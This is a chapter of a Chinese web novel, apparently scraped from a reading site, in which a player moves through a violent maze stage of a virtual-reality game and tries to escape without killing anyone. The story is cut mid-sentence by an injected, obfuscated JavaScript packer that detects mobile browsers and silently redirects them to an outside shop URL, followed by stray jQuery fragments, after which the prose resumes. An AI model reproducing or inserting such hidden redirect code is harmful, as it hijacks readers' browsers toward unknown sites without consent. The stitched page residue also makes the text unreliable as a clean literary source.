计划真是永远赶不上变化快,明明我今天一直犹犹豫豫,拖延上线的时间,我的心绪无论如何也无法整理好。
按理说,与小初的见面,对我的整个生命而言,应该是有振聋发聩的撼动效果,可是当我一觉睡过去,睁开眼睛再次醒来的时候,我觉得生活并非就一定会有什么巨大的变化。
这完全取决于我怎么看待自己的经历,因为从另一种角度上来说,只要我将行动的圈子控制在一定范围内,就不会出现什么外力来干涉我的生活,假使我愿意,我还可以像以前一样地活,我简直能就这么活一辈子。
没见到镜舟前,我既想要见到他,又畏惧见到他。可是哪成想,最大的变数会是来自游戏。别说镜舟了,现如今我竟然连一个队友都见不到!说好的建议组队通关不是吗?怎么到这最后关头了,又让玩家们单打独斗?游戏背后的制作人员,你们到底葫芦里卖的什么药?
能参加特典的玩家都是对游戏有一定忠诚度的,要不然也不会服从你们这些奇葩的反互联网规则,拿出那么长的时间和精力消耗在这场活动中。编筐编篓,重在收口。我觉得项目组应该不至于作死,在这个节骨眼上恶心人,如果这样的话,他们在前三个区域中投入的创作又有什么意义呢?
无论如何,我是不会选择通过击杀敌对阵营玩家来获得奖励机会的。开什么玩笑?如果我打死的人是镜舟、小星或者唯月呢?我的成功难道就一定要以牺牲队友的获胜机会为代价?天知道小星有多渴望拿到最终的奖励,我帮不了他就算了,怎么可以再成为他的敌手。
所以,我注定要走寻找迷宫出口这条路。在这期间,我还要竭尽全力保住自己的性命。
此时此刻,除了退出游戏的选项以外,无法调用任何设置。都这个时候了,眼瞅着就能完成特典,到底是谁会想不开放弃游戏啊。连我这样磨磨唧唧的人都恨不得使出最后一丝力气看看到底能迎来什么结局,难道说辛辛苦苦这么久,还会那么容易放弃吗!
这样的选项设置,意味着我无法设定技能、选择武器、使用道具,我想到过青龙门的时候获得的技能点,好家伙,只用了那么一次就再也没用过。什么进攻、防御、治疗、敏捷,无论闯过多少关,竟然也不能在这个时候让自己有什么技能上的积累,传统的游戏不是这样吧,不是说即便散尽财富,倾家荡产,学到的技能也将跟随人物一辈子的吗。
不过也好,我用不了,别人也用不了……大家都一样,倒也公平。
现在我所拥有的也就是这具躯体了,我环视周身,新发现了在右腿外侧还固定了一个枪套,其中配备了一把手枪,我试了一下,拿起手枪的时候,步枪将被收纳到背后。我把浑身上下摸了摸,除了这两把枪支,我真的是身无长物了。
新迷宫的高墙富于变化,起初看到的是单调的青灰色砖石墙面,让人感觉如同被关进了监狱一样,但接着走下去以后,会发现墙面并非一成不变,反而是如同将各种风格的建筑进行了混搭一般,有的时候会看到宫墙琉璃瓦,有的时候则是褐色花岗岩,各式各样,不一而足。
墙面并非光秃秃一片,时不时还能看到壁龛,随着墙面风格的变化,有的时候壁龛里放着瓷器、墙上挂着山水画、仕女图、行楷草隶的书法,有时侯则挂着知名的油画,以我的见识,除了认出《蒙娜丽莎的微笑》,梵高的《星空》《向日葵》,还有《戴珍珠耳环的少女》以外,剩下大多就只是看一眼略微眼熟的程度,叫不出名字来。我不认识它,它也不认识我。
迷宫内照明光源不再单一,除了白色方格发亮以外,墙壁上偶尔会挂着走马灯、枝形吊灯等繁复的装饰,不过墙面灯光出现的频率不高,很多时候,迷宫内还是有些晦暗。
我已经向前走了有一会儿了,没有遇到分岔,也没有遇到别的玩家。
难道所谓的挑战就是这么简单?刚才介绍的内容实际看来都是雷声大雨点小?根本没有想象中的那么需要争个你死我活的程度?
一声枪响打破了寂静,已经有玩家们相遇了。
我感觉心脏咚咚直跳,本能地把身体贴在最近的墙体上,屏息凝神,希望不要被别人看到。
为了找到迷宫的出口,我必须向前进,可是前进的过程中,就十分有可能成为别人击杀的目标。我现在是黑方,但愿即使前方会遇到什么人,也最好能是同一个阵营的。
我贴着墙边走,每次经过路口的时候都先探头张望,尽量把自己呼吸声音压得很低。枪声响起得越来越频繁,看来越来越多的玩家们在迷宫里相逢,这交战的声音忽远忽近,我竖起耳朵,仔细倾听。如果枪声离我很远,我脚步就迈得大一点,如果听起来已经很近了,我脚下就格外谨慎。
第一次和另一位玩家迎头碰面的时候,我根本来不及反应。那人唰的一下从拐角处冒出头来,远处的枪声掩盖了他的脚步声,我没来得及发现。我们俩同时注意到了对方,他很快地就把枪口对准了我,我第一时间观察到他的袖章与我同色,紧接着我马上两手高举,并出声示意,“自己人,自己人。”
那人好像没听到一样,没有改变瞄准我的姿势,我又用空着的那只手,指了指自己的袖章。
我想他终于能明白我的意思了吧,因为他慢慢地把枪移开,但是我注意到他的手指还是放在扳机上。
危险警报初步解除,看到别的玩家的时候,我发现,原来我们的着装都是戴着覆面的,眼睛的位置也都配上了护目镜,我们无法通过衣着判断男女,看不到对方的长相,就算小星他们站在我的面前,我也识别不出来,毕竟身高相当的人太多了。
穿上作战服,一个人的身份除了战士,别无其他。
我意识到既然我不打算靠击杀别人这条路获取奖励的话,那么拿着枪是不是在别人看起来仍是很有威胁性。我把举枪的那只胳膊慢慢放下来,枪口朝下。对面那人右手继续执枪,左手迅速地朝我挥了几下,那意思似乎是叫我和他一起出发?
我愣在原地,那人转身就走,见我没有跟上来,又回头朝我招手示意。
毕竟我们都是黑方阵营,可能他想要协同作战,多个帮手多点胜算?那我也就不客气了,与其我一个人寻路,多一个人总能增强点安全感吧。我快速跑到他的身边,相当于是组了一个临时队伍。
我继续留心周围的动静,听到有脚步朝我们所在的方向奔来,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712107|189266||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本来已经走过拐角了,一听到这个声音马上往回撤,有人朝我连续开了三枪,把墙上的沙石都打飞了。那人想必是预判我再走几步他将正好瞄准我的脑袋,没想到我会突然后退。
这几声近在咫尺的枪响把我震得两眼发昏,我料想开枪的人肯定不会放过我,他一定要追过来,电光火石间我想最起码我不能把自己的背后留给他,于是我赶紧再次贴墙角站稳,然后快速蹲下来。
我想起来当初小星提醒过我,要了解自己的职业,熟悉自己的技能,那时候练习梅花针的时候,技能讲解里提到,有些身体部位特殊,击打后会短暂丧失行动能力,其原理类似于反关节控制。真是书到用时方恨少啊,我当时仅仅粗略一看,没有把这种和人体解剖学相关的知识往脑子里记,谁又能想到什么肌肉、关节的位置会和现在的对抗关联上!
虽然还没有实践过,但我觉得这也不失为一个可以试一试的方法,记多少用多少吧,规则里也没说不能这样做。玩家的虚拟身体就是他们在这个游戏世界里的唯一依托,按照技能系统的暗示,这虚拟身体的运作机制依然服从物理和生物学的约束。
不用把事情想得那么复杂,我只要让对方打不中我就好,打乱对方的攻击节奏后我会立即借机跑开躲到别的路线上。安全第一啊。
我紧紧地盯着地面,同时留意脚步声,那人大概也知道我会有防备,所以他的动作很慢,在他的靴子刚刚踏入我的视线中的那一刻,我一个箭步窜出去,闪身到他的身后,用步枪的枪托击打他的手肘,他显然没想到我会率先匍匐在地面,然后又绕道他身后,被我袭击后,一个趔趄,身体向前倾,枪根本就没拿稳,但是我仍旧听到了两声急促的枪响。
我以为他是在慌乱中按动了扳机,不对,这声音不是他手里的武器发出的。
面前的人嘭的一声摔倒在地,他身体被子弹贯穿的位置衣服碎裂,我在背后那破损之处,看到一个不大的伤口,这并不是一个普通的伤口,因为我看不到一滴血液,那更像是一个黑黢黢的洞。更让我意想不到的是,自这个洞中快速生长出枝蔓,枝蔓覆盖住人的身体,长出叶子,最后,我看见有一枝鲜红的花朵自这个洞中生长出来,旁若无人地绽放。
这个画面明明并不血腥,却看得我毛骨悚然。
我的那位临时队友,一步步走了过来,一串数字编号从倒下的这人的左手手掌飞出,化作一束白光落入队友的手中。刚才那两枪原来是他开的,认识到这一点后我懊恼极了。
我并不想击杀任何人,怎么无意中造成了别人的死亡,如果我不用枪托攻击他,是不是他就不会死,我难道是在给队友制造机会?话说回来,队友也是在帮我,毕竟倒下的这人本来就视我为他即将到手的分数,可惜队友的这种帮法并不能令我开心。
一切根本就不是我的本意,但我又没法洗掉自己身上的罪责。我不想和任何人组队了,事态的发展有违我的初衷。
我没有和临时队友打招呼,就快速闪人了。
刚才的袭击证明我的策略有效,我可以在不击杀对手的前提下逃之夭夭,我继续在脑中勾勒路线图,找出口,眼下最重要的事情就是找出口。